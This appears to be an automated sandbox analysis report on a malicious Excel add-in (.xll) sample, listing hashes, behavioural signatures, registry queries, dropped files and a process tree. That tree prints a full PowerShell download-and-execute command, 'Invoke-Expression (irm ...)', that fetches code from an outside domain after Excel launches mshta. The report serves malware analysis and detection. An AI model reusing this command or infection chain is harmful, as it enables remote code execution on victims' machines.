Analysis
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max time kernel
143s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 18:08
Static task
static1
Behavioral task
behavioral1
Sample
af1887e9da4c2003d139adc3954562ce1b56430ba36edeac5035a66fc8fcf2dc.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
af1887e9da4c2003d139adc3954562ce1b56430ba36edeac5035a66fc8fcf2dc.xll
Resource
win11-20240508-en
General
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Target
af1887e9da4c2003d139adc3954562ce1b56430ba36edeac5035a66fc8fcf2dc.xll
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Size
12KB
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MD5
ee5e9694a8a265985fe814a47b9246a0
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SHA1
ae2717c4016d750ad1c3c623467d8be176b40ecc
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SHA256
af1887e9da4c2003d139adc3954562ce1b56430ba36edeac5035a66fc8fcf2dc
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SHA512
a261c07ad0f19af39871c3a5bffe46bf3e8604da7b9cb4d5a082825598c5247d9840aec0e3a5418fe489d008341eec31ad39b267b4da19bd22c66621b3b6d1a6
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SSDEEP
192:XL29RBzDzeobchBj8JONJONUruarEPEjr7AhG:729jnbcvYJOSuuavr7CG
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2092 3448 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 45 3568 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3448 EXCEL.EXE 3448 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3448 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3568 powershell.exe 3568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3568 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3448 EXCEL.EXE 3448 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE 3448 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3448 wrote to memory of 2092 3448 EXCEL.EXE mshta.exe PID 3448 wrote to memory of 2092 3448 EXCEL.EXE mshta.exe PID 3448 wrote to memory of 2092 3448 EXCEL.EXE mshta.exe PID 2092 wrote to memory of 3568 2092 mshta.exe powershell.exe PID 2092 wrote to memory of 3568 2092 mshta.exe powershell.exe PID 2092 wrote to memory of 3568 2092 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\af1887e9da4c2003d139adc3954562ce1b56430ba36edeac5035a66fc8fcf2dc.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\NCVVYLW7\d[1].htmFilesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wzkxjcai.ocu.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\af1887e9da4c2003d139adc3954562ce1b56430ba36edeac5035a66fc8fcf2dc.xllFilesize
12KB
MD5ee5e9694a8a265985fe814a47b9246a0
SHA1ae2717c4016d750ad1c3c623467d8be176b40ecc
SHA256af1887e9da4c2003d139adc3954562ce1b56430ba36edeac5035a66fc8fcf2dc
SHA512a261c07ad0f19af39871c3a5bffe46bf3e8604da7b9cb4d5a082825598c5247d9840aec0e3a5418fe489d008341eec31ad39b267b4da19bd22c66621b3b6d1a6
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memory/3448-21-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-76-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-5-0x00007FFAC3A8D000-0x00007FFAC3A8E000-memory.dmpFilesize
4KB
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memory/3448-6-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-7-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-8-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-20-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-10-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-12-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-11-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-15-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-16-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-17-0x00007FFA81680000-0x00007FFA81690000-memory.dmpFilesize
64KB
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memory/3448-14-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-19-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-23-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-22-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-13-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-9-0x00007FFA81680000-0x00007FFA81690000-memory.dmpFilesize
64KB
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memory/3448-3-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-0-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-2-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-4-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-97-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3448-94-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-96-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-95-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-93-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-1-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmpFilesize
64KB
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memory/3448-18-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmpFilesize
2.0MB
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memory/3568-67-0x0000000005DD0000-0x0000000005DEE000-memory.dmpFilesize
120KB
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memory/3568-68-0x0000000005E10000-0x0000000005E5C000-memory.dmpFilesize
304KB
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memory/3568-69-0x0000000007420000-0x0000000007A9A000-memory.dmpFilesize
6.5MB
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memory/3568-70-0x00000000062F0000-0x000000000630A000-memory.dmpFilesize
104KB
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memory/3568-66-0x00000000057E0000-0x0000000005B34000-memory.dmpFilesize
3.3MB
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memory/3568-56-0x0000000005770000-0x00000000057D6000-memory.dmpFilesize
408KB
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memory/3568-55-0x0000000005650000-0x00000000056B6000-memory.dmpFilesize
408KB
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memory/3568-54-0x0000000005570000-0x0000000005592000-memory.dmpFilesize
136KB
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memory/3568-53-0x0000000004F40000-0x0000000005568000-memory.dmpFilesize
6.2MB
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memory/3568-52-0x0000000002810000-0x0000000002846000-memory.dmpFilesize
216KB